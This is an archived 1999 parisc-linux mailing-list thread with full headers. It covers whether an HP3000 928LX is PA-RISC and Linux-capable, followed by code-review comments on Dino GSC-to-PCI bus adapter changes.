Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA01736
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 10:19:53 -0600
Original-Received: (qmail 14432 invoked by uid 15267); 1 Sep 1999 16:21:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14425 invoked from network); 1 Sep 1999 16:21:43 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 16:21:43 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA28245;
	Wed, 1 Sep 1999 10:21:24 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA06394; Wed, 1 Sep 1999 09:19:01 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 01 Sep 1999 17:31:59 PDT."
             <Pine.LNX.4.10.9909011730100.20806-100000@bastion.nl3155vj16.vanderkooij.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:9857

Hugo van der Kooij wrote:
> On Wed, 1 Sep 1999, Richard Muratti wrote:
> 
> > I have the opportunity to acquire a HP3000 928LX server
> > and would like to know if it is supported.
> 
> HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
> and you chould check the 68000 oport effort wether or not the unit may run
> linux.

[ I associate "HP3000" with the MPE products from CSY division]

I can't speak for HP3000 products more than 5 years old.
But recent HP3000 products are definitely PA-RISC.
Firmware is different but many of the platform components
are the same as K and T class machines.

grant

> 
> Hugo.
> 
> -- 
> Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
> hvdkooij@caiw.nl	http://home.kabelfoon.nl/~hvdkooij/
> --------------------------------------------------------------
> Use of any of my email addresses for unsollicited (commercial)
>     email is a clear intrusion of my privacy and illegal!
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support? (fwd)
Date: Wed, 1 Sep 1999 10:09:14 -0700 (PDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <199909011709.KAA00812@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619742 13732 80.91.229.3 (22 Nov 2014 01:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Wed Sep  1 11:07:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA02108
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 11:07:51 -0600
Original-Received: (qmail 28943 invoked by uid 15267); 1 Sep 1999 17:09:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28935 invoked from network); 1 Sep 1999 17:09:41 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 17:09:41 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA08009
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Sep 1999 13:08:52 -0400 (EDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id KAA24668 for <parisc-linux@thepuffingroup.com>; Wed, 1 Sep 1999 10:08:44 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id KAA00812 for parisc-linux@thepuffingroup.com; Wed, 1 Sep 1999 10:09:15 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9858

Grant Grundler wrote:
|Hugo van der Kooij wrote:
|> On Wed, 1 Sep 1999, Richard Muratti wrote:
|> 
|> > I have the opportunity to acquire a HP3000 928LX server
|> > and would like to know if it is supported.
|> 
|> HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
|> and you chould check the 68000 oport effort wether or not the unit may run
|> linux.
|
|[ I associate "HP3000" with the MPE products from CSY division]
|
|I can't speak for HP3000 products more than 5 years old.
|But recent HP3000 products are definitely PA-RISC.
|Firmware is different but many of the platform components
|are the same as K and T class machines.
|
|grant

HP3000s were NEVER 680x0 based.  They were based on a proprietary 16 bit
stack-based architecture until about 1986.  After that they were PA-RISC
systems.  I'm pretty sure all that are identified with a 9xx number are
PA-risc.  Earlier machines had 2 digit model numbers, i.e.. HP3000/68.

I saw recently in the news where HP was suing a used computer dealer that was
buying s800 HPUX machines, changing the bootROMS and making them into HP3000
s900 machines and selling them for more money.  

I know very little about 9xx bootROMS, but there is a chance that Linux
will boot on it, since it doesn't check anytihing in the bootROM to see
if the BootROM forbids it from booting.  MPE will not boot on s800s.

However the unit could be old enough that it has I/O cards based on the
CIO or NIO (aka HP -pricision) bus.  It is unlikely anyone will ever bother
writing Linux drivers for those cards.

	-Bill Katz


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support?
Date: Wed, 1 Sep 1999 19:11:28 +0200 (CEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9909011903570.22949-100000@bastion.nl3155vj16.vanderkooij.org>
References: <199909011607.JAA07206@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619742 13734 80.91.229.3 (22 Nov 2014 01:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Hugo.van.der.Kooij@caiw.nl  Wed Sep  1 11:09:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA02227
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 11:09:48 -0600
Original-Received: (qmail 29529 invoked by uid 15267); 1 Sep 1999 17:11:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29522 invoked from network); 1 Sep 1999 17:11:38 -0000
Original-Received: from mailserv.caiw.nl (194.178.9.133)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 17:11:38 -0000
Original-Received: (from root@localhost) by mailserv.caiw.nl (8.8.5/8.6.12) id TAA06844 for <parisc-linux@thepuffingroup.com>; Wed, 1 Sep 1999 19:11:37 +0200 (MET DST)
Original-Received: from k3nw155.dial.kabelfoon.nl(195.193.24.155), claiming to be "bastion.nl3155vj16.vanderkooij.org"
 via SMTP by mailserv.caiw.nl, id smtpdAAAa06820; Wed, 1 Sep 1999 19:11:31 +0200
Original-Received: from bastion.nl3155vj16.vanderkooij.org (bastion.nl3155vj16.vanderkooij.org [192.168.100.254])
	by bastion.nl3155vj16.vanderkooij.org (8.9.1a/8.9.1) with ESMTP id TAA23162
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Sep 1999 19:11:28 +0200
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
In-Reply-To: <199909011607.JAA07206@chrome.rose.hp.com>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
Xref: news.gmane.org gmane.linux.ports.parisc:9859

On Wed, 1 Sep 1999, Kirk Bresniker wrote:

> | On Wed, 1 Sep 1999, Richard Muratti wrote:
> | 
> | > I have the opportunity to acquire a HP3000 928LX server
> | > and would like to know if it is supported.
> | 
> | HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
> | and you chould check the 68000 oport effort wether or not the unit may run
> | linux.
> 
> What?! The HP3000 systems are indeed PA-RISC. In fact, while there 
> have been 68k HP-UX workstations the HP3000 have always had an
> HP-designed architecture, first the 'classic' HP300 architecture
> followed by PA-RISC.

How odd. Not quite what people told me around here.

Hugo.

-- 
Hugo van der Kooij; Oranje Nassaustraat 16; 3155 VJ  Maasland
hvdkooij@caiw.nl	http://home.kabelfoon.nl/~hvdkooij/
--------------------------------------------------------------
Use of any of my email addresses for unsollicited (commercial)
    email is a clear intrusion of my privacy and illegal!


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support?
Date: Wed, 1 Sep 1999 10:32:22 -0700 (PDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <199909011732.KAA28707@bart.allegro.com>
References: <199909011619.JAA06394@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619742 13735 80.91.229.3 (22 Nov 2014 01:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:02 +0000 (UTC)
Cc: Hugo.van.der.Kooij@caiw.nl, rmurat@ibm.net,
        parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: sieler@bart.allegro.com  Wed Sep  1 11:48:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA02767
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 11:48:59 -0600
Original-Received: (qmail 10268 invoked by uid 15267); 1 Sep 1999 17:50:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10251 invoked from network); 1 Sep 1999 17:50:49 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 17:50:49 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id KAA28707;
	Wed, 1 Sep 1999 10:32:23 -0700
In-Reply-To: <199909011619.JAA06394@milano.cup.hp.com> from "Grant Grundler" at Sep 1, 99 09:18:46 am
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9860

Re:

> > > I have the opportunity to acquire a HP3000 928LX server
> > > and would like to know if it is supported.
> > 
> > HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
...
> Firmware is different but many of the platform components
> are the same as K and T class machines.


The HP 3000/928 is a PA-RISC system (48 MHz PA7100LC (PCX-L)),
with HP-PB I/O (2 slots), 64 KB of integrated cache, floating point
co-processor, and a max memory of 512 MB.

It's 100% identical to the HP 9000 E25 (2-slot HP-PB model).

The firmware is 100% identical, AFAIK.

You could probably trade the HP 3000 for an E25 and get money back.

BTW, the "Classic HP 3000" models (those with a two-digit model number)
are 16-bit CISC, not Motorola.  All HP 3000s with a 3 digit model
number (e.g., 928) are PA-RISC.

If Linux is ever supported on an HP 9000 E25 (or any E## model), then
it will also run on an HP 3000 9x8 model.

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support? (fwd)
Date: Wed, 01 Sep 1999 11:51:36 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <199909011851.LAA06628@milano.cup.hp.com>
References: <199909011709.KAA00812@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619743 13736 80.91.229.3 (22 Nov 2014 01:29:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Bill Katz " "" (William) <billk@sr.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Sep  1 12:52:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA03309
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 12:52:44 -0600
Original-Received: (qmail 31428 invoked by uid 15267); 1 Sep 1999 18:54:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31417 invoked from network); 1 Sep 1999 18:54:35 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 18:54:35 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA21080
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Sep 1999 14:53:48 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id LAA06628; Wed, 1 Sep 1999 11:51:36 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 01 Sep 1999 10:09:14 PDT."
             <199909011709.KAA00812@meow.sr.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9861

Bill Katz "(William)" wrote:
...
> However the unit could be old enough that it has I/O cards based on the
> CIO or NIO (aka HP -pricision) bus.  It is unlikely anyone will ever bother
> writing Linux drivers for those cards.

The whole point of linux is to use what's cheap and available.
I would rather say:
	It is unlikely anyone *in HP* will ever *get paid for* writing
	Linux drivers for CIO or NIO cards.

However, if documentation isn't publicly available, it would be
pretty "challenging" for someone outside HP to do anything with HP-PB.
And someone in HP might actually be masochistic enough to make
parisc-linux boot/scan on NIO bus machines. ;^)

grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP3000 928LX Support? (fwd)
Date: Wed, 1 Sep 1999 14:23:28 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <199909012123.OAA02028@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619743 13738 80.91.229.3 (22 Nov 2014 01:29:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Wed Sep  1 15:21:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA03702
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Sep 1999 15:21:47 -0600
Original-Received: (qmail 16296 invoked by uid 15267); 1 Sep 1999 21:23:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16281 invoked from network); 1 Sep 1999 21:23:37 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 1 Sep 1999 21:23:37 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA05279
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Sep 1999 17:22:56 -0400 (EDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id OAA16336 for <parisc-linux@thepuffingroup.com>; Wed, 1 Sep 1999 14:22:58 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id OAA02028 for parisc-linux@thepuffingroup.com; Wed, 1 Sep 1999 14:23:29 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9862

Stan Seiler wrote:
|> > > I have the opportunity to acquire a HP3000 928LX server
|> > > and would like to know if it is supported.
|> > 
|> > HP3000 systems are not PA-RISC systems. They use the Motorola 68000 CPU
|...
|> Firmware is different but many of the platform components
|> are the same as K and T class machines.
|
|
|The HP 3000/928 is a PA-RISC system (48 MHz PA7100LC (PCX-L)),
|with HP-PB I/O (2 slots), 64 KB of integrated cache, floating point
|co-processor, and a max memory of 512 MB.
|
|It's 100% identical to the HP 9000 E25 (2-slot HP-PB model).
|

Oh, so it's a Wright Brothers :)  In that case your luck ought to be
pretty good if you only care about:

1) Internal LASI based LAN and SCSI

2) RS232 connected console

It will never support graphics.  But it's so close to a 712 that it should
certainly boot.  And the suggestion taht you trade it for something 
more closely resembling a workstation is certainly valid.

	-Bill


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] grundler
Date: Thu, 2 Sep 1999 10:40:07 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <19990902104007.H629@suse.de>
References: <199909012302.RAA04035@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619743 13747 80.91.229.3 (22 Nov 2014 01:29:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Thu Sep  2 02:38:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA04278
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Sep 1999 02:38:22 -0600
Original-Received: (qmail 31144 invoked by uid 15267); 2 Sep 1999 08:40:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31135 invoked from network); 2 Sep 1999 08:40:09 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 2 Sep 1999 08:40:09 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP id 995AC32CEF
	for <parisc-linux@thepuffingroup.com>; Thu, 02 Sep 1999 10:40:08 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP id 4A8ED67A9
	for <parisc-linux@thepuffingroup.com>; Thu,  2 Sep 1999 10:40:08 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 62C777F8B; Thu,  2 Sep 1999 10:40:07 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909012302.RAA04035@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, Sep 01, 1999 at 05:02:23PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9863

> Update of /home/cvs/parisc/linux/include/asm-parisc
> In directory puffin.external.hp.com:/tmp/cvs-serv4014/linux/include/asm-parisc
> 
> Modified Files:
> 	pci.h 
> Log Message:

> Update GSCtoPCI (Dino) bus adapter support. Have most of the design
> in place and what's my "first cut" implementation.

I don't want to sound aggressive, but I really do not see the point in most
of your changes.

Let's go through them:

 - renamed pci_{port,config,bus}_ops to {port,config,bus}_ops.

waste of struct namespace should asm/pci.h be included accidentally
(furthermore it strikes me as strange to have pci_bios_ops, but simply bus_ops.

 - typedef unsigned int irq_t;

the type of irqs is defined to be int (not unsigned int) in ABIs we cannot
change if we ever want to see a merged parisc kernel.

 - renamed PCI_NUM_BUS to MAX_BUSSES.

I think we really should restrict ourselves to exporting symbols, macros and
other names starting with PCI_ and pci_.  (I am aware this may be because it
took me way too long to synch the trees and that this just reflects the rest
of your code).

> Marked lots of stuff with "TODO" - I'll keep whacking at these.

 - "** TODO: I don't think we need the "bus" parameter. "dev""

ignoring your comment style ;), it really strikes me as a good idea to keep
the interface in place to support native-to-PCI bridges with more than one
bus on them.  It might be a good idea for those not to pass the "relative"
bus number to those instead of the absolute one, but that is just a change
in one spot as opposed to changing an interface and digging through several
drivers.

> Main issues to still be resolved are:
> o GSC device claim - how does dino driver learn about GSC devices

For that we need Alex's code, but it looks very much like we will have a list
of GSC devices like we currently have for PCI on systems where that is the
native bus.  Then, you will use gsc_find_device(u16 hversion); and be happy.

> o Registration and handling of interrupts (request_irq() support)

None.  The current idea is dino.c registers a region of 32 "virtual" IRQs (i.e.
Linux IRQ cookies, not EIRR bits) and uses do_irq_mask to handle them.  Also,
pcibios_fixup will put the right irq cookie numbers in the pci_devices list.

> o How drivers will use I/O port space accessor functions.
>   (assumes we won't change them to use MMIO space)

basically,

u8 inb(u32 address) {
	return pci_ops[(address>>16)].port.inb(
		pci_devs[(address>>16],
		(u8) (address>>16) / pci_rel_bus[(address>>16)],
		(u16) adress);
}

that looks slow but I hope for the "port accesses are slow anyway" argument
to win.

	Philipp Rumpf


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] grundler
Date: Thu, 2 Sep 1999 11:08:31 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <19990902110831.I629@suse.de>
References: <199909012302.RAA04044@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619744 13752 80.91.229.3 (22 Nov 2014 01:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:04 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Thu Sep  2 03:06:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA04514
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Sep 1999 03:06:43 -0600
Original-Received: (qmail 2641 invoked by uid 15267); 2 Sep 1999 09:08:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2634 invoked from network); 2 Sep 1999 09:08:34 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 2 Sep 1999 09:08:34 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 0B60332CE5; Thu, 02 Sep 1999 11:08:33 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 4ED3667A9; Thu,  2 Sep 1999 11:08:32 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id C3F4D7F8B; Thu,  2 Sep 1999 11:08:31 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909012302.RAA04044@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, Sep 01, 1999 at 05:02:23PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9864

On Wed, Sep 01, 1999 at 05:02:23PM -0600, grundler@puffin.external.hp.com wrote:
> Update of /home/cvs/parisc/linux/drivers/gecko
> In directory puffin.external.hp.com:/tmp/cvs-serv4014/linux/drivers/gecko
> 
> Modified Files:
> 	dino.c 

okay, let's go through the changes here too:

 - strange STATIC define with a comment about "performance" kernels.

I don't see the point.  Is there one ?

 - use of irq_t all over the place

I don't mind this, but it really doesn't matter and just using int has the
advantage of still being able to printk it.

 - Dino-specific IRQ management

As far as I am concerned, there is no way I want to have 5 different IRQ
managements in the kernel.  It is not needed, the performance loss is minimal,
I don't see any other advantages to it.  (I just skipped that code so you don't
get all my complaints)

 - #if 0-ing out dino_walk_bus

remove it.  we really don't need any #if 0 bodies swimming around our trees.

 - check for potentially defect Dino chips

Nothing negative I can say about that

 - +** TODO: Dino needs a method to look at and possibly "claim" GSC devices.

it's what you #if 0-ed out. (
        struct gsc_dev *dev = gsc_devices;

	while(dev = dev->next) {
		if(is_dino(dev)) {
			blah blah 
		}
	}
).

 - split dino init into two parts

I don't see the point.

 - changes to dino_config_write_byte aso (renaming them in the process)

Is this for supporting more than one PCI bus via pci-to-pci bridges ?
looks unnecessary to me, but I really don't know


 - +** Performance is going to stink if drivers use I/O port instead
   +** of MMIO.

This is not Dino-specific.

 - use of readb aso instead of gsc_readb aso

gsc_readb is there for a reason.

	Philipp Rumpf


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] grundler
Date: Thu, 2 Sep 1999 11:12:58 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <19990902111258.J629@suse.de>
References: <199909012302.RAA04026@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619744 13753 80.91.229.3 (22 Nov 2014 01:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:04 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Thu Sep  2 03:11:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA04655
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Sep 1999 03:11:08 -0600
Original-Received: (qmail 3157 invoked by uid 15267); 2 Sep 1999 09:13:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3150 invoked from network); 2 Sep 1999 09:13:00 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 2 Sep 1999 09:13:00 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 7EA7532CE8; Thu, 02 Sep 1999 11:12:59 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 461DF67A9; Thu,  2 Sep 1999 11:12:59 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id AA1907F8B; Thu,  2 Sep 1999 11:12:58 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909012302.RAA04026@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Wed, Sep 01, 1999 at 05:02:23PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9865

> Modified Files:
> 	pci.c 

- removed support for more than one bus

we don't want that, do we ?

- don't see anything else


That's it for today, I promise.

	Philipp Rumpf


From - Thu Nov 08 21:15:59 2018
X-Mozilla-Status: 0011
